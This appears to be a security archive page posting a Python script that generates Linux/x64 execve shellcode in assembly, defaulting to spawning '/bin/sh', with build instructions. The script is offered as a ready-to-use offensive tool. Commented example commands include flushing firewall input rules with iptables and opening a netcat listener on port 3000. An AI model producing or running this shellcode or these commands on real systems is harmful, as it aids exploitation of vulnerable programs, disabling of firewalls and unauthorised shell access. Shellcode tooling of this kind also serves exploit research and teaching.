Twenty Year Anniversary

Linux/x64 Assembly Shellcode Generator

Linux/x64 Assembly Shellcode Generator
Posted Apr 11, 2018
Authored by Andre Lima

This script is a Linux/x64 assembly shellcode generator.

tags | tool, shellcode
systems | linux
MD5 | 68b748b13b7a28aaf7b7f9fc0945b70d

Linux/x64 Assembly Shellcode Generator

Change Mirror Download
#!/usr/bin/env python
#
# Features:
# - Linux shellcode x64 assembly code generation
# - stack based (smaller payload size)
# - execve based
# - supports long commands (meaning bigger than an x64 register - 64 bits)
# - supports long parameters (meaning bigger than an x64 register - 64 bits)
# - one command only (execve will alter the current memory proc and when it exits there's no continuation)
# - supports command with up to 8 parameters
#
# Instructions
# - requires full path to the command
# - only one command is supported due to execve transforming the current process into a new one, loosing all previous context (any other instructions that would have been executed)
# - after having the x64 generated assembly code:
# - copy paste it into a file (in a Linux environment) - example.nasm
# - execute:
# nasm -felf64 example.nasm -o example.o && ld example.o -o example
#
# Author: Andre Lima @0x4ndr3
# https://pentesterslife.blog
#
########

command = "/bin/sh"
#command = "/sbin/iptables -F INPUT"
#command = "/bin/nc -lvp 3000"
#command = "/bin/echo 1 2 3 4 5 6 7 longparamparamparam"

def tohex(val, nbits):
return hex((val + (1 << nbits)) % (1 << nbits))

code = ""
code += "global _start\n"
code += "section .text\n"
code += "\n"
code += "_start:\n"
code += "push 59\n"
code += "pop rax\n"
code += "cdq\n"
code += "push rdx\n"

params = command.split(' ')
try:
params.remove('') # in case of multiple spaces in between params in the command - cleanup
except: # it throws an exception if it doesn't finds one
pass

if len(params[0]) % 8 != 0:
command = "/"*(8-len(params[0])%8) + params[0]

iters = len(command)/8 - 1
while iters >= 0:
block = command[iters*8:iters*8+8]
code += "mov rbx, 0x" + block[::-1].encode("hex") + "\n"
code += "push rbx\n"
iters -= 1

code += "push rsp\n"
code += "pop rdi\n"

aux_regs = ["r8","r9","r10","r11","r12","r13","r14","r15"]
i = 0
params = params[1:] # remove first element - command itself. we just want the params
if len(params) > len(aux_regs):
print "More than " + str(len(aux_regs)) + " parameters... Unsupported."
exit(1)
for p in params:
code += "push rdx\n"
if len(p) % 8 != 0:
p += "\x00"*(8-len(p)%8)
iters = len(p)/8 -1
while iters >= 0: # each param
block = p[iters*8:iters*8+8]
code += "mov rbx, 0x" + tohex(~int(block[::-1].encode("hex"),16),64)[2:2+16] + "\n"
code += "not rbx\n"
code += "push rbx\n"
iters -= 1
code += "push rsp\n"
code += "pop " + aux_regs[i] + "\n"
i += 1

code += "push rdx\n"
code += "push rsp\n"
code += "pop rdx\n"

while i>0:
i -= 1
code += "push " + aux_regs[i] + "\n"

code += "push rdi\n"
code += "push rsp\n"
code += "pop rsi\n"
code += "syscall\n"

print code


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

August 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    19 Files
  • 2
    Aug 2nd
    17 Files
  • 3
    Aug 3rd
    16 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    1 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    9 Files
  • 9
    Aug 9th
    7 Files
  • 10
    Aug 10th
    10 Files
  • 11
    Aug 11th
    1 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    14 Files
  • 14
    Aug 14th
    18 Files
  • 15
    Aug 15th
    38 Files
  • 16
    Aug 16th
    16 Files
  • 17
    Aug 17th
    22 Files
  • 18
    Aug 18th
    3 Files
  • 19
    Aug 19th
    3 Files
  • 20
    Aug 20th
    21 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close